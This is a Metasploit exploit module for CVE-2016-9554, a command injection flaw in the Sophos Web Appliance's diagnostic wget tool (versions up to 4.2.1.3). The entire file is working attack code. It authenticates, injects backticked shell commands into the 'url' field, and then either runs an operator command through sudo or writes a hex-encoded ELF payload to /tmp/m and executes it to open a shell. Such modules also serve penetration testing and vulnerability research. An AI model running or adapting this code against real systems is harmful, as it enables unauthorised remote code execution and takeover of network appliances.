sophos_webapp_va_wget_POST_cmdi.rb

# Exploit Title: Sophos Web Appliance diagnostic_tools wget Remote Command Injection Vulnerability
# Date: 12/12/2016
# Exploit Author: xort @ Critical Start
# Vendor Homepage: www.sophos.com
# Software Link: sophos.com/en-us/products/secure-web-gateway.aspx
# Version: 4.2.1.3
# Tested on: 4.2.1.3
#
# CVE : CVE-2016-9554

# vuln:  diagnostic_tools command / host parameter /  MgrReport.php exploit

# Description PostAuth Sophos Web App FW <= v4.2.1.3 for capabilities. This exploit leverages a command injection bug.
#
# xort @ Critical Start

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Sophos Web Appliance <= v4.2.1.3 remote exploit',
                    'Description'    => %q{
                    This module exploits a remote command execution vulnerability in
                the Sophos Web Appliance Version <=  v4.2.1.3. The vulnerability exist in
                a section of the machine's administrative interface for performing diagnostic
                network test with wget and sanitized user supplied information.
            },
            'Author'         =>
                [
                    'xort@Critical Start', # vuln + metasploit module
                ],
            'Version'        => '$Revision: 1 $',
            'References'     =>
                [
                    [ 'none', 'none'],
                ],
            'Platform'      => [ 'linux'],
            'Privileged'     => true,
             'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,

                'Payload'        =>
                                {
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

            'Targets'        =>
                [
                    ['Linux Universal',
                        {
                                'Arch' => ARCH_X86,
                                'Platform' => 'linux'
                        }
                    ],
                ],
            'DefaultTarget' => 0))

            register_options(
                [
                    OptString.new('PASSWORD', [ false, 'Device password', "" ]),
                        OptString.new('USERNAME', [ true, 'Device password', "admin" ]),
                    OptString.new('CMD', [ false, 'Command to execute', "" ]),
                    Opt::RPORT(443),
                ], self.class)
    end

        def do_login(username, password_clear)
                vprint_status( "Logging into machine with credentials...\n" )

                # vars
                timeout = 1550;
                style_key = Rex::Text.rand_text_hex(32)

                # send request
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/index.php",
                      'vars_get' => {
               'c' => 'login',
            },
                      'vars_post' =>
                        {

                  'STYLE' => style_key,
              'destination' => '',
              'section' => '',
              'username' => username,
              'password' => password_clear,
                        }
                }, timeout)

                return style_key
        end

    def run_command(username, style_password, cmd)

        vprint_status( "Running Command...\n" )

        # send request with payload
        res = send_request_cgi({
            'method' => 'POST',
            'vars_post' => {
                'action' => 'wget',
                'section' => 'configuration',
                'STYLE' => style_password ,
                'url' => 'htt%3a%2f%2fwww.google.com%2f`'+cmd+'`',
                },
            'vars_get' => {
                'c' => 'diagnostic_tools',
            },
        })

    end


    def exploit
        # timeout
        timeout = 1550;

        # params
        password_clear = datastore['PASSWORD']
        user = datastore['USERNAME']

        # do authentication
        style_hash = do_login(user, password_clear)

        vprint_status("STATUS hash authenticated: #{style_hash}\n")

        # pause to let things run smoothly
        sleep(5)

         #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?

                        cmd = datastore['CMD']

                        # Encode cmd payload
                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
                        run_command(user, style_hash, ("sudo%20/bin/rm%20-f%20/tmp/n%20;printf%20\"#{encoded_cmd}\"%20>%20/tmp/n;%20chmod%20+rx%20/tmp/n;/tmp/n" ))
                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\x\1\2')

            # upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
                        run_command(user, style_hash, ("echo%20-e%20#{encoded_elf}\>%20/tmp/m\;chmod%20%2brx%20/tmp/m\;/tmp/m"))

            # wait for magic
                        handler

                end


    end
# sophox-release
end